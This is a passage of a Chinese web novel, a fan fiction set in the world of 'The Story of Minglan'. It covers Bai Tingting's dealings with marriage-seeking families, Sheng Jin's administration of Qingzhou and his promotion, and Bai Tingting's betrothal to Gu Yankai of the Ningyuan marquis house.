商贾人家全都是为嫡子求娶白滢婷,而官宦人家有一大半是为庶子求娶白滢婷,为嫡子求娶白滢婷的人家极少,而且这些嫡子都是嫡次子或嫡幼子,毕竟官宦人家也要考虑脸面的事情,若为嫡长子求娶商贾之女,还是盐商之女,这说去有碍他们官宦人家的名声啊!而嫡次子或嫡幼子的婚姻就没那么都讲究了。 白老爷倒是能明白这些官宦人家的想法,无疑是拿庶子去赌一赌,毕竟盛瑾虽然是国公爷,但是他只是一个正六品通判,在朝中没有根基,索性胜在年轻,前途无量,舍一个庶子和国公爷搭上关系,他们没什么心疼的,至于那些用嫡次子来联姻的人家,也是这种想法,不过,人家想得更深,如果盛瑾和慕卿云真的那么在乎白滢婷,那么他们若是拿庶子来配白滢婷,无疑是在羞辱盛瑾和慕卿云,这样还不如不结亲的好。 白老爷不想让白滢婷嫁给官宦人家的庶子或是嫡子,白滢婷若是嫁给庶子,那便要伺候两个婆婆,这可不是什么容易的事情,他可舍不得自己娇养的姑娘受这种苦,而嫡子,他派人打听过了,说句不好听的,这些个嫡子就没有一个是有出息的,要不然也不会被家里推出来和白滢婷联姻,他自然也不会同意将他的宝贝女儿嫁给这些人,至于那些个商贾之家,白老爷本身就是盐商,他不愿意白滢婷在因为商贾出身受人嫌弃,他要为白滢婷的下半辈子好好谋划,所以白老爷对于白滢婷的婚事一直没有松口。 扬州城的这些人家看白老爷对白滢婷的婚事没有松口,有些为嫡子求娶的官宦人家不由得在心里讽刺白老爷道:“不过是一个盐商,走运成了国公爷的义父,居然还看不上我们这样官宦人家的嫡子,还真当自己姑娘是正儿八经的国公府嫡出姑娘啊!”不过,这些人家心里再怎么嘲讽白老爷,面上对白老爷还是客客气气的。 本来白老爷不松口,这些人家应该都放弃了找白老爷说亲事的想法了,可偏偏有些心术不正的人家见白滢婷这边说不了亲事,又将念头打到了给盛瑾纳妾上,毕竟慕卿云嫁给盛瑾也快两年了,连个女儿都没给盛瑾生出来,他们心底阴暗的想着莫不是慕卿云的身体有什么问题,导致她不能生,若是慕卿云真的不能生,他们家的姑娘嫁给盛瑾后,若是生个儿子出来,那这国公府以后还不是他们外孙的。 这些人家开始旁敲侧击的询问起白老爷有关慕卿云和盛瑾子嗣的问题,起初白老爷没有明白他们的意思,结果他们问的次数多了,白老爷也能猜到他们想要给盛瑾塞妾侍。 白老爷对于他们这种想法不是不能理解,但他情感上不能接收,毕竟他们算计的是他的义子和媳妇,但是人家没有明说又不好撕破脸,所以他们每次热络提起这个话题时,白老爷便会装傻充愣的笑着道:“这是他们夫妇之间的事情,我不好掺合他们这种事情,再说了,生子这种事情也要看缘分,缘分到了自然就有孩子了。”白老爷这种话说多了,他们也就知道他不会掺合盛瑾纳妾的事情。 白老爷对慕卿云这个儿媳妇是十分满意,自己义子盛瑾也没对慕卿云没有子嗣怀有什么意见,他没事给慕卿云添什么堵啊! 当然,这些拜帖不止邀请了白老爷,还有邀请白滢婷的,那些存了这种心思的人家怎么可能轻易放弃,他们见白老爷这条路走不通便把注意打到了白滢婷这边,他们觉得比起白老爷的圆滑,白滢婷这边相对就容易下手,毕竟白滢婷只是个未成婚的姑娘,肯定没有白老爷那么精明圆滑。 至于邀请白滢婷的帖子,自是出自这些人家的大娘子之手,她们也十分自信认为白滢婷绝不会是她们的对手,毕竟她们在内宅生活多年,一个未婚的姑娘哪里斗得过她们啊! 这些大娘子都知道白滢婷和盛瑾慕卿云的关系极好,尤其是盛瑾对白滢婷十分喜爱,她们想着说不定就能从白滢婷口中套出关于盛瑾的喜好或者慕卿云的一些事情,万一真从白滢婷口中得出慕卿云不能生的消息,她们也可以借着白滢婷的手,让她向慕卿云推荐自家姑娘,当然,她们觉得若是能说动白滢婷直接和盛瑾说纳妾的事情就更好了。 起初白滢婷是不想去的,但是人家邀请了这么多次,她也不好每次都推迟,就挑了几家宴会过去,每每去一趟,那些人家的大娘子都会给她送些算不上太珍贵的礼物,和她不断聊天打探盛瑾或慕大娘子的一些事情,又或是侧面暗示白滢婷想不想要一个侄子。 白滢婷当然听出这些人想要给盛瑾塞妾室,心里有些生气,毕竟她觉得慕卿云待她极好,而且盛瑾和慕卿云的感情也很好,她不想让第三个人插足盛瑾和慕卿云的感情,索性白老爷已经提前给白滢婷打了预防针,让她在这种宴会上,多听多看少说话,要不然就装傻充愣,以至于她们从白滢婷口中套出的东西少之又少。 白滢婷装傻充愣次数多了,这些人家大娘子心中也恼怒道:“白老爷那么精明的商贾,怎么会生出白家大姑娘这么木愣的人啊!没准她和盛国公夫妇的感情都是假的,要不怎么对盛国公夫妇的事情一问三不知啊!”这些个大娘子当然不会承认她们斗不过一个未婚的姑娘,只能将其原因归结在白滢婷性格和她与盛瑾夫妇关系上,渐渐的也不怎么邀请白滢婷来参加宴会了。 对此白滢婷自是乐得清闲,毕竟她也是出于无奈才参加这种宴会,而每次都有一些人问东问西的,搞得她每次参加完宴会回来到白家都要累得瘫在地上,现在这样不远不近更好,她乐得自在。 此时白滢婷正在和常嬷嬷聊着这些宴会的事情,她直言道:“也不知道这些个宴会有什么意义,无论她们邀请我多少次,我也不可能跟哥哥嫂嫂说纳妾的事情的,一个未婚姑娘管哥哥嫂嫂房中事还要不要脸啊!这些人家也不知道怎么想的。” 随即白滢婷又一脸庆幸道:“还好我听爹爹的话,多看多听少说话,整个人像块木头似的,她们才放过我,我可算是体会到了爹爹的不容易了,我这还只是装木头人就累的够呛了,前段时间爹爹不是这家老爷请,就是那家老爷邀,真是辛苦爹爹将他们忽悠过去。” 常嬷嬷看着白滢婷一脸抱怨的表情,嘴角微微翘起,道:“还不是我们家公子有出息嘛,十七岁的国公,本朝开国以来头一份啊!再加上公子年纪轻轻的就是正六品通判,这前途是一片光明啊!” 白滢婷皱着眉头,道:“那也不能想着将自家姑娘送给哥哥做妾啊!做妾有什么好的,到时候自己的孩子只能叫自己小娘。” 常嬷嬷思索片刻,语气中带着点骄傲,道:“这些个人家大抵都参加过姑娘的及笄礼,又或是跟那些参加过姑娘及笄礼的大娘子打听过慕大娘子的品行性格,不是我自夸我们家慕大娘子啊!我们家慕大娘子瞧着就是个温柔贤惠的性子,举止行为都属于上乘,明眼人都能看出她不是个会刻薄人的主母。” 常嬷嬷说到这里,顿了顿,语气不紧不慢道:“慕大娘子哪哪都好,就是那身子瞧着就有些弱不禁风,再加上她嫁给公子将近两年了,没个一男半女的,那些个人家便猜测慕大娘子不能生,若是他们家姑娘嫁过去,虽然名义上是侍妾,但若是生了个庶长子,没准将来就是国公府的继承人,这时他们家姑娘妾不妾侍的就不重要了,重要的是他们成了未来国公爷的外家,这么一想,公子可不成了香锅锅嘛。” 常嬷嬷有些话还没有说出口,有些心思险恶的人家八成想着慕卿云的身子看着就不像个长寿的,若是自家姑娘嫁过去生了个庶长子,慕卿云以后没有子嗣,可不就要仰仗庶长子鼻息生活了嘛,万一慕卿云没活到庶长子长大,她一时想不开为了恶心盛瑾下一位妻子将庶长子过继到她名下,那慕卿云那一大笔嫁妆和国公之位还不是她们外孙的了,再者有些人家大娘子舍不得嫡女当妾,便送庶女当妾,这庶女受不受苦关她们这些嫡母什么事情。 白滢婷皱着眉头,眼中闪过一丝愤怒,道:“就算嫂嫂人好,也犯不着被她们这样算计吧,再说了也就两年没生孩子,这世上六七年才生的也不是没有。” 常嬷嬷听到白滢婷这么说,脸上笑着道:“是是是,姑娘说的是,慕大娘子和公子早晚都会有孩子的,姑娘就等着抱外甥外甥女吧。” 常嬷嬷对慕卿云还是很有好感的,慕卿云性子温柔贤惠,对白滢婷和白老爷也十分亲近友好,若是慕卿云有个好歹,盛瑾再娶,就不一定能再遇到一个这样的妻子了。 白滢婷听了常嬷嬷的话,脸上带着一丝笑容,道:“奶娘说的是,我就只稀罕嫂嫂生的孩子,旁人的才不稀罕呢,哥哥嫂嫂长得这般好,生出的孩子一定也好看。” 白滢婷说到这里接着吐槽道:“奶娘,你还记得上次宴会遇到那个县令家的二姑娘嘛,明明是宦官人家出身,居然是这般不知礼数的姑娘,有一次宴会,不知道她哪来的勇气拦下我,一脸给了我天大恩惠的表情直言道,让她哥哥纳我为妾,让我哥哥娶她家庶妹为妾,我怕她是脑子不清醒吧。” 常嬷嬷闻言,眼中闪过一丝恼怒,道:“她竟然还敢来找姑娘,姑娘怎么没告诉我,若是我在场非撕了她不可,不行,以后我一定要陪着姑娘参加宴会。” 白滢婷看到常嬷嬷这样,笑呵呵道:“奶娘莫生气,都是过往的事情了,再说了,我这次也没惯着她,把她气的都说不出话来了,而且是我想自己试试独立参加宴会处理事情的。” 白滢婷虽然脾气好,但也不是泥捏的,当时她心想道:“这位县令家的二姑娘眼瞅着就是个没脑子的,我上次给她脸了,她就以为我好欺负了嘛,这次我就将她的脸撕下来。”结果那位县令家的二姑娘因为白滢婷没给她面子就被气跑了。 常嬷嬷也觉得这位县令家的二姑娘脑子可能是有些问题,毕竟谁都不会光明正大的说出让自家姑娘给人当妾的话,更何况这位姑娘说的还是自家庶妹,可见这县令家的二姑娘是不将庶出当人看啊! 常嬷嬷在心里吐槽道:“就这样人家教出来的姑娘,哪入得了公子的眼啊!还想占我家姑娘的便宜,我呸,他家就只是一个小小的八品官员,还想让我家姑娘做妾,她哪来的脸这么想啊!做她的春秋大梦去吧。” 常嬷嬷见白滢婷这样,眼中的怒气消了许多,道:“姑娘就应该这样,这种人说的话不用放在心思,就当对方是疯子,疯言疯语岂能入耳。” 白滢婷面色淡然,扯着嘴角微微笑了笑, 15. 第 15 章 《知否盛老太太的双生子》全本免费阅读 时间转瞬即逝,一眨眼的功夫,盛瑾已经在青州知府这个位置上待了一年,这期间青州建设完成,经济快速发展,得到了上面的嘉奖后,他向朝廷为慕卿云求得了一品诰命夫人的身份。 盛瑾在成为青州知府的这一年里,给青州各县都建造了一个图书馆和翻修了一些书院,以及给一些书院捐赠了一批书籍,图书馆主要是让百姓们有查阅书籍的地方,而翻修书院是改善一下青州书院读书人的读书环境,当然,青州变化最大的要数清水县了。 因为清水县属于盛瑾的封地,所以他为这里花费了极多的心血,例如:给清水县修建大型图书馆和两座书院,除了桃花村外又挑了两个村子分别建立两座书院;改建清水县和各个村子,将清水县扩建成大县城,而各个村子如今也是青砖瓦房了;发展清水县的造船工艺和水上交通运输,在清水县不远的河边建造一个船厂,招募百姓在船厂做工,教导他们制作船只,如今清水县的船厂每年造船数量不超过五只,但每只船都是大船,并且可以使用五十年,在古代可以说是质量相当的好了,而且盛瑾所教导的造船工艺可以称得上是本朝最先进的造船工艺了,由于这些船只价格昂贵,所以大部分都是由商贾购买的,在船厂附近建起了码头和商铺以及客栈给来往商人或路过的人提供休息和休闲娱乐;教导清水县管理下的各个村子,如何劁猪和饲养小猪以及各种有关猪肉食品的制作方法,也就是清水县管理的百姓们信任盛瑾,才会在他一提出来便有不少人实施,结果清水县的养猪大业热火朝天的干起来了,并且猪肉制作的食品销量还不错,这让清水县管理的百姓们更加信任盛瑾了。 如今的清水县已经发生了翻天覆地的变化,比起富县来也不差,县城连接各村的小路都铺成水泥路,缩减了行驶时间,各个村子加上县城有五座书院,其中三座书院教人读书识字,而县城里的两座书院则是专门培养科举的学子,而这些书院因为盛瑾制定的规章制度,培养出的读书人都不是什么书呆子,也没有酸儒的作风,当然,也不是没有这样的酸儒作风出现,只是一旦有这样的人出现,马上就会被他们的父母教做人,久而久之这种酸儒作风也就自己消失了,可见盛瑾在清水县的地位。 无论是青州,还是清水县都按照盛瑾的计划顺利进行着,盛瑾在青州也十分受人爱戴,每当盛瑾得空时便会去青州某些书院里上一节课,盛瑾的课也十分受青州学子们的喜欢,不仅仅是因为盛瑾如今青州知府的地位和他为青州做的贡献,还因为他曾经在读书人的圈子中无双公子的名号,这个名号随着盛瑾成为三元及第的状元郎而响彻本朝读书人的圈子,如今清水县税收已达到十万两左右,每年给盛瑾带来一万五千两收入,当然,除了清水县外,青州其他各县的收入也大幅度上涨,至少青州如今没有贫穷县了。 盛瑾在这一年时间里又多出了不少改造图纸,包括造船工艺图纸等都敬献给了皇帝,这也使得盛瑾在皇帝心目中的地位日渐提升,尤其是在有一群逼着自己过继子嗣的大臣做对比时,盛瑾在皇帝心目中就显得格外可爱。 没过多久,盛瑾升任从三品工部侍郎的任命书就下来了,于是他便带着慕卿云选了条从青州城到汴州城途径扬州城的路,想去扬州城白家看看白老爷和白滢婷,毕竟他已经三年没见过白老爷了,他在路上还时不时的想道:“时间过得真快啊!也不知小妹如今长成什么样子了。” 等盛瑾一行人到扬州城下了船,找了一辆马车到白家时,便看见白家下人们忙忙碌碌的搬着东西的场景,盛瑾首先从马车下来,尽管白家下人们已经忙碌的顾不上其他人了,但他们还是被盛瑾的样貌所吸引了。 只见盛瑾穿着一身上好的靛青色丝绸所制成的衣服,衣服的长袍领口袖口都镶绣着流丝边流云纹的滚边,腰间束着一条月白祥云纹的宽腰带,上面只挂了一块玉质极佳的墨玉,形状看似粗糙却给人一种古朴沉郁的感觉,头带着羊脂玉所制成的冠,加上他的容貌,简直是在向人们展现“陌上人如玉,公子世无双”这句话。 等慕卿云下马车时,有眼尖的小厮当场认出了慕卿云,随即便猜出她身旁是盛瑾,刚忙上前迎接,满脸笑容,道:“国公爷,国公夫人,你们回扬州城了啊!快随我进去吧,老爷要知道你们回来肯定很高兴。” 盛瑾看着这忙忙碌碌的下人们,随着那位小厮一同进入府中,一边走,一边询问道:“这府里是有什么事情吗?怎么如此忙碌呢?” 那位小厮听到盛瑾的问题,满脸笑意的直言道:“是,姑娘的喜事,姑娘前不久定的人家,婚期定的日子较为急促,老爷最近忙着姑娘嫁妆的事情,所以满府都比较忙碌。” 盛瑾心里有些疑问,但到底也没在说什么,只是想着见到白老爷后,便能知道有关白滢婷婚事的事情了。 白老爷这边正在清点着白滢婷的嫁妆时,抬头看见不远处来了一个男子,他乍一看还有些认不出盛瑾,但又觉得这位男子十分眼熟,等他看到一旁的慕卿云时,便立马猜出对方是盛瑾,眼中闪过一丝惊喜,道:“瑾儿你居然来扬州城了,好些年不见,你真是越长越俊了。” 盛瑾见白老爷这么说,当即笑着道:“义父过奖了,也就两年多没见,哪有那么大的变化啊!” 白老爷没理会盛瑾的话,而是将目光转向了慕卿云,关心道:“媳妇,你这一路道扬州城,身体可有累着。” 慕卿云见白老爷这么关心自己的身体,嘴角微微翘起,道:“多谢义父关心,这一路上有官人相陪还好。” 白老爷打量了一番慕卿云,觉得她真的没累着,才看向盛瑾道:“瑾儿,你不是在青州当任知府嘛,怎么来扬州城了呢?” 盛瑾看着白老爷,眼中闪过一丝笑意,道:“我前不久接到任命书,前往汴州城,接任工部侍郎一职。” 白老爷听完盛瑾的话,满脸惊讶,语气中都透着一丝不可思议,道:“瑾儿,你又升官了啊!”也难怪白老爷如此惊讶,毕竟盛瑾这升官速度可以吊打半个朝野了。 盛瑾看着白老爷一脸惊讶的表情,不自觉的笑了一下,突然想到了他还要问白滢婷的事情,便开口道:“义父,先不说我的事情了,我们先说说婷儿的事情吧。” 白老爷还处在对盛瑾升官速度的震惊中,一时没反应过来,道:“婷儿,婷儿能有什么事情啊!” 白老爷刚说完,脑子也转过来了,道:“哦,瞧我这脑子,刚刚没转过来,瑾儿你是在问婷儿的亲事啊!瞧我这段时间忙的都忘了给你去信了,婷儿跟汴州城宁远侯府嫡长子顾偃开定亲了,这定亲和婚期日子隔的不算远,所以我正忙着给婷儿准备嫁妆呢。” 盛瑾听到顾偃开二字时,脑海中闪过一丝熟悉感,但是他对汴州城达官显贵的名号都不太熟悉,也不了解白老爷口中的宁远侯府是个什么样的人家,他也没过多纠结这一点,带了点妹控的滤镜,道:“义父,婷儿还年幼着呢,用不着这么着急成亲吧。” 白老爷看着盛瑾,眼中闪过一丝笑意,道:“婷儿眼瞅着都快十八岁了,还年幼,也就只有你这个当哥哥的会这么想了,这要是放在别家姑娘身上,这年龄恐怕都当娘了。” 盛瑾见白老爷这么说,也不好说什么,毕竟白老爷说的也是事实,于是他又想询问白老爷关于白滢婷成亲的这户人家相关事情,但他又不知道问些什么,毕竟他对嫁娶人选考察这方面的内容不太了解。 盛瑾想到这里突然想起了慕卿云对这些应该有研究过,便看向慕卿云,用眼神示意她询问白老爷这类事情。 慕卿云看到盛瑾的眼神,便知道他的意思,她脸上带着淡淡的笑容,语气柔和,道:“义父,妹妹定好亲事是件大喜事,我和官人自然是为妹妹感到高兴的,就是不知这位未来妹夫今年多大了呢?品行如何呢?婆婆妯娌性子怎么样呢?” 盛瑾听着慕卿云的话,心里忍不住为她称赞道:“不亏是做过功课的,至少比我怎么问都不知道的好多了。” 白老爷见慕卿云这么问,沉思了一下,也没想隐瞒盛瑾和慕卿云什么,直言道:“这位宁远侯府嫡长子前头娶过一位秦大娘子,不过这位秦大娘子前不久去世了,留下一个三岁多哥儿,我打听过他的为人,他对前头大娘子重情重义,又是个稳重且有能力的,在汴州城也算得上是极好的夫婿人选,这门亲事是顾侯夫妇亲自上门提的,想来也不会刻意刻薄婷儿,至于妯娌,我不太清楚,但是宁远侯府内宅没有传出过什么事情,想来这些个妯娌也不是什么为难人的性子。” 盛瑾本来在听到顾偃开前头已经娶过一个大娘子时,眉头便不自主的皱了起来,接着又听到顾偃开还有一个儿子时,眉头的褶皱又加深了,等白老爷说完话后,他开口道:“一个带着孩子的鳏夫,这算得上什么好亲事啊!义父,后娘可不是什么好当的活啊!” 盛瑾不是不了解古代士农工商的地位,他只是单纯的不想让自己疼爱的妹妹在婆家受委屈,本来去当后娘就不是什么容易的事情,再加上门不当户不对的,白滢婷少不了要在婆家受些委屈。 白老爷知道盛瑾这是关心白滢婷,便解释道:“怎么不算好亲事啊!虽然顾偃开有一个儿子,但他是宁远侯府嫡长子,也是宁远侯府未来的侯爷,婷儿要是嫁给他当续弦,那她就是候府大娘子了,这门亲事怎么看都是我们高攀了。” 盛瑾听着白老爷的话,想当场反驳,可是慕卿云拉了拉盛瑾的衣袖,制止了他,盛瑾见状便没有再发言。 慕卿云见状才开始询问道:“义父,既然你说了是婷儿高攀了宁远侯府嫡长子,像宁远侯府这样的门户到底需要什么才会娶妹妹呢?” 慕卿云相较于盛瑾而言,她更为理智的注意到了白老爷口中的“高攀”二字,既然门不当户不对,那么为什么顾家要求娶白滢婷。 白老爷没有直接回答慕卿云的问题,犹如讲故事般叙述,道:“其实,宁远侯府并非第一次来找我说亲了,大概在三个多月前就有人来找过我一次,说是受顾侯夫妇所托,为顾侯夫妇所生四子和五子求娶婷儿,老实说我当时就十分心动,但事关婷儿的终身大事,我也不会听信他人的一面之词,于是我便立即动身前往汴州城调查,结果他们一个寻花问柳,一个傲慢无礼,都不是良配,重要的是这两人已经娶妻了,我是不可能将婷儿送去做妾的,便回绝了这门亲事。” 白老爷顿了顿,接着道:“我本来以为这门亲事回绝了,便不会再和宁远侯府有什么瓜葛了,谁曾想没过多久,这顾侯夫妇居然亲自上门,这次居然是为嫡长子求娶婷儿为续弦,当初我去汴州城调查宁远侯府时,便了解过这位宁远侯府嫡长子,他对秦大娘子情深义重,又是个稳重之人,我觉得婷儿错过了这样一个夫婿人选,就再也找不到像宁远侯府这样门户的人家了。” 慕卿云看着白老爷,语气缓慢有序,道:“宁远侯府两次求娶妹妹,最后一次顾侯夫妇居然放下身段亲自登门提亲,顾侯夫妇所求什么,义父你应该能猜的出来吧。” 白老爷看着慕卿云眼中闪过一丝满意,道:“我是扬州城有名的盐商,最不缺的就是银子,再加上我就你妹妹一个亲生女儿,宁远侯府绝对是碰上了什么需要大笔银钱的事情,要不然也不会两次登门求娶婷儿。” 盛瑾听到白老爷这么说,开口道:“义父,你就不担心妹妹嫁入宁远侯府后会受委屈嘛,门不当户不对,到时候妹妹就算有什么苦也要忍着。” 白老爷看了眼盛瑾,叹了口气,道:“瑾儿,婷儿就算嫁的不是宁远侯府,她婚后还是会受委屈的,只不过这委屈可大可小吧了,天底下婚后不受委屈、一生幸福的女子太少了,我不觉得婷儿能碰上这样的好亲事,比起这虚无缥缈的事情,我更在乎婷儿和她的孩子下半辈子的尊荣,一个盐商之女能当上侯府大娘子,这在以前是求都求不到的好亲事了,这门亲事能改变婷儿的身份,乃至我未来外孙外孙女。” 白老爷还有些话没有说出口,就是白滢婷的孩子以后是要继承他一半家产的,即使是他一半的家产在白家族人眼中也是十分丰厚的,若是白滢婷的孩子没有个尊贵的身份护着,就算有盛瑾护着,白家族人这群才狼虎豹也不会将白滢婷的孩子放在眼中的,再者,盛瑾和慕卿云待他和白滢婷极好,不意味着盛瑾的孩子也能和白滢婷的孩子感情深厚,所以他必须将白滢婷高嫁,给白滢婷以及她的孩子一张护身符,要不然等他走了,就算白滢婷和她的孩子继承了他一半家产也犹如小儿抱金砖逛街般。 盛瑾听完白老爷的话,也知道他是打算用巨额嫁妆给白滢婷换一张“侯府入门卷”,这样白滢婷和白滢婷的孩子们就等同于跨越阶层,直奔最顶层。 盛瑾对爱情没有什么执念,也不在乎白老爷用大笔银钱给白滢婷交换来这门好亲事,他只在乎她的妹妹会不会在这桩婚姻中受委屈,可白老爷都这么说了,他也不好在说什么了,毕竟白老爷说的有道理,而且亲事已然定下,无论是顾侯夫妇,还是白老爷都不会让这门亲事黄了。 屋内安静了一会儿后,盛瑾面色淡然,语气柔和,略过这个话题,道:“那妹妹和那位宁远侯府嫡长子要在哪里成亲呢?” 白老爷见盛瑾问白滢婷亲事事宜,便知盛瑾对这门亲事不会再说什么了,直言道:“听说是在顾侯爷的老家,离汴州城有段距离。” 白老爷不是看不出顾侯夫妇将成亲地点定在顾侯爷老家的用意,明面上白滢婷一嫁入顾府就可以记入宗祠族谱,说出去也在理,但是他们实则是嫌弃白滢婷出身,不想大操大办兴师动众的让人看顾府笑话,在顾侯爷的老家举行婚事,汴州城有交集的人家便会因为路途原因不参加,白老爷也挑不出什么毛病来,而且汴州城和宁远侯府没多少交际的人家也不会知道白滢婷的身份。 白老爷觉得这些都没什么,毕竟白滢婷迟早是要和顾偃开一同回汴州城的,汴州城的人家早晚也会知道白滢婷身份的,再者,只要白滢婷是顾偃开八抬大轿娶进顾府大门的,那谁也改不了她侯府大娘子的身份 16. 第 16 章 《知否盛老太太的双生子》全本免费阅读 汴州城宁远侯府,顾侯夫妇在盛瑾到达汴州城前十几天收到了白老爷的信件,顾侯爷看完白老爷的信件后,将信递给一旁的顾侯夫人,道:“你来看看吧。” 顾侯夫人看完信件后,一脸不可思议,语气中也带着惊讶道:“这怎么可能呢?白家怎么可能认识丰国公府的盛国公呢?还是国公爷的义父,白家姑娘居然还要从丰国公府出嫁,天爷啊!这,这白老爷是不是疯了,竟敢随意攀谈国公爷。”也难怪顾侯夫人如此惊讶,一个国公爷和一个扬州城盐商怎么看也不可能有交际啊! 顾侯爷沉思片刻,语气中没有一丝波澜,道:“我觉得能做到扬州城有名的盐商,这位白老爷脑子应该比谁都清楚,不可能拿国公爷来开玩笑,既然是盛国公的义父,那么与盛国公交往过的官员中应该有人知道他的存在,到时候我派人去打探打探便可知一二了。” 顾侯夫人听着顾侯爷这么说,便提起信中提到的改变成亲地点的事情,道:“那官人,我们还要不要准备动身前去老家举办亲事呢?” 顾侯爷看着顾侯夫人,语气缓慢,道:“你还真以为这次提出改变成亲地点的是白老爷嘛,若是没有盛国公点头,你觉得白老爷会提出这种要求嘛。” 顾侯爷心里很清楚,白老爷和盛瑾的关系八成是真的,派人去打听盛瑾和白老爷的事情只不过是为了加深这件事情的真实性罢了。 顾侯爷看着自己大娘子沉默不语的样子,也知道她没有将盛瑾这个只当了一年多的国公爷放在眼里,他面色淡然,语气平缓的叙述,道:“你真当这位盛国公是泥捏的啊!十五岁三元及第的状元郎,十七岁成为世袭国公,用了三年的时间从正六品通判升到从三品工部侍郎,你认为这是寻常人能做到的嘛,你知道他这些年往青州丢了多少银子嘛,一年前,前任青州知府崔大人调回汴州城任职时曾和友人提起过盛国公往青州丢了至少五百万两银子。” 顾侯夫人瞪大双眼,语气中带着一丝惊讶,语调也不自主的提高了一些,道:“五百万两银子,他是疯了吗?有五百万两银子干什么不好,为什么要拿来建设青州啊!” 顾侯夫人此时内心十分不平衡,准确来说是嫉妒盛瑾有钱,毕竟他们顾家堂堂一个侯爵府为了银子不惜娶一个盐商之女让人笑话,而盛瑾却可以眼都不眨一下往汴州城丢五百万两银子,真是应了那句话“旱的旱死,涝的涝死”。 顾侯爷听着顾侯夫人的话,眼中闪过一丝欣赏,只不过这丝欣赏是对盛瑾的,他语气中带着一丝敬佩,道:“人家盛国公才没有疯呢?这一大笔银钱砸入青州,再加上他本身能力不俗,整个青州今年的税收大幅度增长,青州如今可没有县城处于贫穷县水平了,你是没见到户部尚书提起盛国公时满嘴的夸奖,全然没有当初陛下封盛瑾为国公时的难看脸色,一个有钱又有能力,还在陛下心目中有不小地位的国公爷,满汴州城找不出第二个了。” 顾侯爷停顿了一下,不知是想到了什么,接着道:“就算没有这些,盛国公也有粮种的功劳护身,他为陛下献上了土豆和玉米这两种产量巨大的粮种,就冲着这天大的功劳,只要盛国公及其后人不叛国,无论是陛下还是其他人都不会动他们,这比起我们顾家的铁卷丹书也不差分毫。” 无论是顾侯爷,还是朝中的官员,只要是明眼人都能看出这些年盛瑾献给皇帝的东西,无论是对王朝,还是对百姓都有极大的益处,这些年来盛瑾在皇帝心目中的地位越来越重了。 顾侯夫人见顾侯爷如此夸赞盛瑾,心里不由得生出一丝不服气,道:“看来官人是十分重视这位盛国公了,难不成在官人心里这位盛国公比我们大哥儿(顾偃开)还好嘛。” 顾侯爷看到顾侯夫人脸上浮现出的不悦之色,笑着道:“你啊!你,在我心里当然是我们大哥儿更好了,不过抛开血脉亲情这层来看,我们大哥儿还真不如盛国公,毕竟人家能有如今的成就都是自己打拼下来的。”言外之意顾偃开能走到这种程度除了他本身有能力外还有顾家资源的扶持。 顾侯夫人也就是发表一下自己心中的一丝不满而已,倒不是真的对盛瑾产生怨怼,她听到顾侯爷这么说后,倒是没有纠结这个话题,而是询问起另一件事来道:“官人,这盛国公为什么会这么有钱,不会是白老爷给的吧,要不然他为什么要让一个盐商之女从国公府出嫁呢?这可是要让汴州城不少人家耻笑的啊!” 顾侯爷听到顾侯夫人这番话,当即反驳道:“不太可能,就算白老爷是扬州有名的盐商,也不可能一下子拿出这么大一笔银子,毕竟他的生意也需要留有银钱周转,不过,汴州城有人传过盛国公继承了他师父的遗产,而他的亲事也是他师父定下的,想想之前盛国公的大娘子那十几船的嫁妆,不难想出这位盛国公的师父到底给他留了多少银钱。” 顾侯夫人想到了三年前汴州城突然来的那十几艘船,足足搬了三天才搬完,她不禁有些咋舌道:“有这样一位大娘子和师父,这盛国公怕是几辈子都不愁银钱了吧,那他为什么要让白家姑娘从国公府出嫁呢?怕不是真疼这位白家姑娘吧。” 顾侯爷闻言倒是说没什么,过了一会儿,他嘱咐顾侯夫人道:“等盛国公赴任后,你找个时间去拜访一下盛国公夫人,看看她对白家姑娘的态度如何,我们就能知道这位白家姑娘和盛国公夫妇的感情如何了。” 顾侯夫人听到顾侯爷这么说,点了点头,她心想:“是要去探探这位盛国公夫人对白家姑娘的态度。”毕竟慕卿云对白滢婷的态度可以得出盛瑾对白家父女的态度,也能让她思考一下如何对待白滢婷了。 顾侯爷看着顾侯夫人面色淡然,语气平缓,似是无意的提了一句,道:“大哥儿他现在还是那个样子吗?” 顾侯夫人脸上浮现一丝担忧,语气中透露出一丝无奈,道:“他还是那个态度,不过,倒是没有反对娶白家姑娘。” 顾侯爷听完后,眼神中闪过一丝无奈,与顾侯夫人一时之间相顾无言,屋内顿时一片寂静,不久后,顾侯爷也从盛瑾当初在翰林院相处过的官员口中得知了他确实有一个商贾出身义父的事情,顾侯夫妇也确定了白老爷和盛瑾的关系。 几天后,盛瑾一行人带着白滢婷到达了汴州城内的丰国公府,而丰国公府的下人们在管家带领下站在门口恭迎盛瑾等人。 丰国公府的下人们都是由当初盛瑾在汴州城的那个宅子中的管家调教的,如今他也从那个宅子的管家变成丰国公府的管家了,他还是按照盛昀当初那套方法来培训下人,通过那套方法培训出来的下人,那都是老老实实干活,没人敢走歪门邪道,再加上这丰国公府的月钱高,待遇好,没有人想要失去丰国公府这份好差事,当然,最主要是如果不老实或背叛府里,丰国公府管家的手段他们可是不敢领教的啊! 盛瑾一行人在管家和下人们的带领下进入了丰国公府,白滢婷一进府邸,就感觉到了这里的不同,无论是院子,还是下人们,都给人感觉与别人家的不同,先说院子吧,给人一种休闲感,而且无论是院子的建造,还是摆设都给人一种精致风雅的感觉,下人们也给人一种井然有序、从容不迫的感觉。 其实白滢婷现在看到的是经过重修改建后的丰国公府,在盛瑾被封为国公后不久,慕卿云带着下人们回汴州城整理重修了丰国公府。 等盛瑾一行人来到丰国公府大厅后,盛瑾见白滢婷有些累了,脸上带着些许关心道:“妹妹,我瞧着你有些劳累,不如我让下人带你去你的院子休息吧。” 白滢婷没想到在丰国公府还会有她的院子,她脸上带着些许惊讶的表情,语气中带着一丝惊喜,道:“我的院子,这府里有我的院子吗?” 盛瑾眼中闪过一丝笑意,语气柔和的解答道:“你是我的妹妹,我府中当然有你的院子了,这个院子是我封国公不久,你嫂嫂带人会汴州城重修这座府邸时,采纳了一些我的建议后,特意给你布置的院子,当然,算是你在这府中的闺房了。” 白滢婷听完盛瑾的话,看向慕卿云的眼中闪过一丝感动,道:“麻烦嫂嫂特意为我布置院子了,真是太感谢了。” 慕卿云见状,脸上挂着淡淡的微笑,细声细语道:“妹妹客气了,都是一家人,不用说什么谢不谢的,等下你去院子休息时,可以顺便看看有什么不满意的地方,等用膳时,再告诉我一声,我再找人改改你的院子。” 白滢婷听到慕卿云这么说,脸上满是笑容,道:“好的,嫂嫂,对了,嫂嫂你身子比较弱,这连夜赶路操劳的,也费了不少精神,你也去休息一下吧。” 